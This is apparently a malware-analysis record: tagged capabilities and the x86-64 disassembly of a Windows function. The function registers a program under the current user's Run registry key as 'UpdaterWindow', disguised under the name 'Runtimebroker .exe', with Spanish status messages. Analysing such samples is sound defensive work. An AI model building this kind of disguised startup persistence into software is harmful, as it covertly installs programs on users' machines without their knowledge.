Function at 0x140002db0
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rbp + 0xf0], rax
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x140003211
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002e16
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x68]
call fcn.140003280
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 0x2d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rcx, [rsp + 0x78]
call fcn.140003a20
nop
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rdx, qword [rsp + 0x78]
xor r14d, r14d
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000316f
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea r8d, [r14 + 0xd]
lea rdx, str.UpdaterWindow
lea rcx, [rbp - 0x48]
call fcn.140003a20
nop
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x58]
add rsi, rdx
lea rdi, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdi, qword [rbp - 0x68]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
cmp rdi, rsi
jne 0x140002f12
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r14w
jmp 0x140003038
mov rax, rsi
sub rax, rdi
mov rdx, r14
mov qword [rsp + 0x68], rdx
mov ebx, 7
mov qword [rsp + 0x70], rbx
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140003259
cmp rax, rbx
jbe 0x140002ff0
mov rbx, rax
or rbx, 7
cmp rbx, rcx
jbe 0x140002f65
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140002f94
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000325f
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002fc8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000325f
mov rcx, rax
call fcn.1400131c8
mov rcx, rax
test rax, rax
je 0x140003265
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x68]
jmp 0x140002fdc
test rcx, rcx
je 0x140002fd9
call fcn.1400131c8
mov rdx, qword [rsp + 0x68]
jmp 0x140002fdc
mov rax, r14
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x70], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x58]
cmp rbx, 7
cmova rcx, qword [rsp + 0x58]
movsx eax, byte [rdi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rsp + 0x68]
inc rdx
mov qword [rsp + 0x68], rdx
inc rdi
cmp rdi, rsi
je 0x140003022
mov rbx, qword [rsp + 0x70]
jmp 0x140002ff0
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rax, qword [rsp + 0x58]
mov word [rax + rdx*2], r14w
mov r8d, 0x13
lea rdx, str.Runtimebroker_.exe
lea rcx, [rsp + 0x58]
call fcn.140007370
mov eax, dword [rsp + 0x68]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 7
cmova rdx, qword [rbp - 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400030b7
lea rdx, str.Programa_agregado_al_inicio_exitosamente.
lea rcx, [0x14004b830]
call fcn.14000aa40
mov rcx, rax
call fcn.14000ad00
jmp 0x1400030cb
lea rdx, str.Error_al_establecer_el_valor_del_Registro.
call fcn.14000ad90
mov rcx, rax
call fcn.14000b070
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140003119
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003265
call fcn.1400131c0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r14w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140003184
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003168
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000326b
call fcn.1400131c0
jmp 0x140003184
lea rdx, str.Error_al_abrir_crear_la_clave_del_Registro.
call fcn.14000ad90
mov rcx, rax
call fcn.14000b070
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x1400031c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003271
call fcn.1400131c0
movdqa xmm0, xmmword [0x1400432e0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rsp + 0x78], r14w
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140003225
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000320a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003253
call fcn.1400131c0
jmp 0x140003225
lea rdx, str.Error_al_obtener_el_directorio_actual.
call fcn.14000ad90
mov rcx, rax
call fcn.14000b070
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1400131a0
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001c680
nop
call fcn.1400016c0
nop
call fcn.140001620
int3
call fcn.14001c680
nop
call fcn.14001c680
nop
call fcn.14001c680
int3